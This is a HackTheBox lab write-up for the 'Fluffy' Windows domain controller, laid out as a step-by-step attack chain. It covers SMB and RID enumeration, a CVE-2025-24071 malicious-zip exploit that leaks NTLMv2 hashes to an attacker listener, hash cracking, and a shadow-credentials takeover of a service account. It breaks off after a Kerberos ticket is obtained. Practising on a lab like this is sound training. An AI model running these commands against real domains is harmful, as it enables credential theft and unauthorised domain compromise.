Fluffy

HackTheBox Fluffy.png

IP Address: 10.10.11.69

Machine Information

As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account:

j.fleischman / J0elTHEM4n1990!

Challenge

Nmap

First, let's get started with identifying with the open ports and possible services that is running the target server.

sudo nmap -sS -sV -sC -vv -T5 10.10.11.69 -oA nmap/Fluffy.nmap

From the nmap result, it is clearly evident that the target IP is an IP of a Domain Controller of a Windows AD. The domain name of the DC is fluffy.htb

Pasted image 20250825112803.png

Let's add the domain name of our target server to our /etc/hosts file to be able to clearly communicate using the domain of the DC.

sudo nano /etc/hosts

and add the following contents:

<--IP Address--> fluffy.htb

Pasted image 20250825115729.png

SMB Enumeration

The easiest point that we can start to enumerate would be through the SMB Shares. For the test, we can attempt to login into the share using the guest account without any password using nxc

nxc smb fluffy.htb -u "guest" -p ""

Pasted image 20250825120108.png

The output means that the guest user account can be accessed through the SMB share without any password required. Let's take an advantage of this, but exploring the shares enabled to the guest account.

nxc smb fluffy.htb -u "guest" -p "" --shares

Pasted image 20250825120229.png

The IPC$ share seems to be readable to the guest account. With that, we can attempt to enumerate users with RID brute force option in nxc

nxc smb fluffy.htb -u "guest" -p "" --rid

Pasted image 20250825120535.png

Dump this user list into a file and format them to just contain the usernames (you might have to manually also clear the junk in the username list)

nxc smb fluffy.htb -u "guest" -p "" --rid > usernames.txt
cat usernames.txt | cut -d '\' -f 2 | cut -d ' ' -f 1 > updated-usernames.txt

Pasted image 20250825121353.png

In the list, we identify the user account j.fleischman, to which we are already provided with the user credentials from the machine description.

Username: j.fleischman
Password: J0elTHEM4n1990!

Make use of this account's access to list out the shares available.

nxc smb fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares

Pasted image 20250825121917.png

The IT folder, with both Read and Write permission is assigned to j.fleischman user account. Connect to the SMB share using smbclient and find out what is inside the folder.

smbclient //fluffy.htb/IT -U 'j.fleischman' -p

Pasted image 20250825122128.png

Inside the folder, we can list out many zip files and one pdf document. To analyse it further, download all the files onto your local computer using the get command.

get <--File Name-->

Pasted image 20250825122515.png
(Later we find out that we just need the upgrade_Notice.pdf file)

Pasted image 20250825122730.png

Diving into the PDF file found form the SMB Share. That PDF file talks about a recent Pen-test/ audit done on the domain controller.

Pasted image 20250825122855.png

Following the found CVEs of the domain controller, we find a relevant possible exploit of a CVE (CVE-2025-24071) which provides us with the NTLMv2 Hashes of the Domain controller.

Pasted image 20250825160203.png

CVE-2025-24071

A relevant and work GitHub Repository for exploiting the CVE-2025-24071 can be found Here .

Pasted image 20250825161127.png

As a first step, let's clone this repository into our attacker's machine.

git clone https://github.com/Marcejr117/CVE-2025-24071_PoC.git

Pasted image 20250825161352.png

NTLM Hash

The usage of the tool seems to be simple,

  1. create a malicious zip file.
python3 PoC.py Fluffy <--Attacker's IP-->

Pasted image 20250825161655.png

  1. Setup a listener

For that, we can use Responder.py file this GitHub repository.

git clone https://github.com/lgandx/Responder.git

Pasted image 20250825162453.png

Now, let's run Responder.py file interfacing our HackTheBox VPN Tunnel.

sudo python3 Responder.py -I tun0

Pasted image 20250825162737.png

  1. Upload the ZIP file.

Open another terminal and connect to the smb share.

smbclient //fluffy.htb/IT -U 'j.fleischman' -p

Pasted image 20250825193949.png

Upload the file using the put command

put exploit.zip exploit.zip

Pasted image 20250825194039.png

And immediately the Responder.py reflects us the vulnerable user's NTLMv2 hash.

Pasted image 20250825194329.png

Copy and add the hash into a text file (hash.txt) to crack for the password against the Rockyou.txt file using Hashcat.

Pasted image 20250825194445.png

Crack the hash

hashcat hash.txt <--Location to your-->/rockyou.txt

Pasted image 20250825194646.png

Kudos!!!! The password of the new user p.agila is cracked.

Blood Hound

To understand the complete structure and possible foot holds that we can try to exploit further, we can make use of Blood Hound

With the credentials obtained of the user account, pass it through blodhound-python connector which connects and gathers possible information from the domain controller.

bloodhound-python -u 'p.agila' -p '<--Password-->' -d fluffy.htb -ns 10.10.11.69 -c All --zip

Pasted image 20250827195722.png

In the BloodHound web application, upload the files generated from the Blood Hound connector.

Pasted image 20250827202233.png

Once uploaded, Under the explore tab, let's start to search from the user [email protected] account.

Pasted image 20250827202426.png

Clearly, skimming through the user account, we notice the user [email protected] is a part of the Service Accounts. And this Service Accounts has multiple other accounts part of the same group with GenericWrite permissions.

Pasted image 20250827213017.png

From the recommendation Linux abuse of the this GenericWrite privilege, we can exploit the vulnerability of Shadow Credentials.

Shadow Credentials

The Blog that I am following for this exploit is this

According to the Blog post, the first step, is to make sure that the p.agila is a part of the SERVICE ACCOUNTS where in the winrm_svc account is also in the same group.

net rpc group addmem "Service Accounts" "p.agila" -U "fluffy.htb"/"p.agila" -S "10.10.11.69"

Pasted image 20250827213819.png

Following the Linux Abuse section of the BloodHound, let's clone the pyWhisker github tool onto our attacker's machine.

git clone https://github.com/ShutdownRepo/pywhisker.git

Pasted image 20250827214027.png

Using this tool, we will list all the current (if) existing shadow credentials of winrm_svc account.

python3 pywhisker.py -d "fluffy.htb" -u "p.agila" -p "<--Password-->" --target "winrm_svc" --action "list"

Pasted image 20250827215142.png
It is empty

Hence, let's add a new KeyCredential to the winrm_svc account and export the key certificates.

python3 pywhisker.py -d "fluffy.htb" -u "p.agila" -p "<--Password-->" --target "winrm_svc" --action "add" --filename key --export PEM

Pasted image 20250827215207.png
Move those key_<--file--> to a suitable folder

With the key added to the winrm_svc account, we need to now request for a new TGT from the server.

For that, we will use another tool called PKINIT.

git clone https://github.com/dirkjanm/PKINITtools.git

Pasted image 20250827215531.png

Now request of the TGT

python3 gettgtpkinit.py -cert-pem ../Key/key_cert.pem -key-pem ../Key/key_priv.pem fluffy.htb/winrm_svc winrm_svc.ccache

If you too are get this error minikerberos.protocol.errors.KerberosError: Error Name: KRB_AP_ERR_SKEW Detail: "The clock skew is too great".

Pasted image 20250828101943.png

You need to adjust the time of your attacker computer (your Kali Linux) to the time of the DC (approximately difference of 5 minutes is accepted).

There we use a tool called FakeTime (Click Here to know more)

sudo apt install faketime
faketime -h

To get the time of the target DC, we can use a tool called ntpdate

ntpdate -q <--Domain Name-->

Pasted image 20250828113128.png
We just need the date and time of the server

Finally our command tools like this:

faketime "$(ntpdate -q fluffy.htb | cut -d ' ' -f 1,2)" python3 gettgtpkinit.py -cert-pem ../Key/key_cert.pem -key-pem ../Key/key_priv.pem fluffy.htb/winrm_svc winrm_svc.ccache

Pasted image 20250828114121.png

Save this ticket that was generated into a file.

In our attacker's machine, we need to set the Kerberos ticket environment variable to use the obtained TGT of the winrm_svc account

export KRB5CCNAME=winrm_svc.ccache

Pasted image 20250828114746.png